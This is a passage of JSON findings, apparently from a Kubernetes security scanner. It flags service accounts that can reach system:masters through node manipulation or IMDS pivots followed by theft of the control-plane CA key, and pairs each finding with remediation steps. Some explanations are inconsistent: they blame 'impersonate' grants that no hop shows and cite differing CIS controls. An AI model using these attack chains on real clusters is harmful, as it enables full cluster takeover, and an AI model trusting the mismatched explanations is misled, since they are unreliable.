    "description": "Subject `ServiceAccount/foothold-exec/foothold-decoy-sa` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-exec/foothold-decoy-sa` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/foothold-exec/foothold-decoy-sa` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/foothold-exec/foothold-decoy-sa` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/foothold-exec/foothold-reader:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-exec/foothold-reader` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/foothold-exec/foothold-reader` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-exec/foothold-reader` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-exec/foothold-reader`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-exec/foothold-reader` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-exec/foothold-reader` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod foothold-exec/foothold-target falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/foothold-fixtures/foothold-quiet:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-fixtures/foothold-quiet` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/foothold-fixtures/foothold-quiet` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-fixtures/foothold-quiet` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod foothold-fixtures/foothold-quiet-app-749c54956-gwlx2 falls back to node IAM role via IMDS\n  2. `ServiceAccount/foothold-fixtures/foothold-quiet` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-fixtures/foothold-quiet` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-fixtures/foothold-quiet`.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-quiet`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod foothold-fixtures/foothold-quiet-app-749c54956-gwlx2 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-quiet`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-quiet` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-quiet` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-quiet",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod foothold-fixtures/foothold-quiet-app-749c54956-gwlx2 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-quiet",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/gw-workloads/gw-web-sa:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/gw-workloads/gw-web-sa` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/gw-workloads/gw-web-sa` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS\n  2. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "gw-web-sa",
      "namespace": "gw-workloads"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/gw-workloads/gw-web-sa` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/gw-workloads/gw-web-sa`.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/gw-workloads/gw-web-sa` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/gw-workloads/gw-web-sa` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/hookbackend-fixtures/default:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/hookbackend-fixtures/default` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
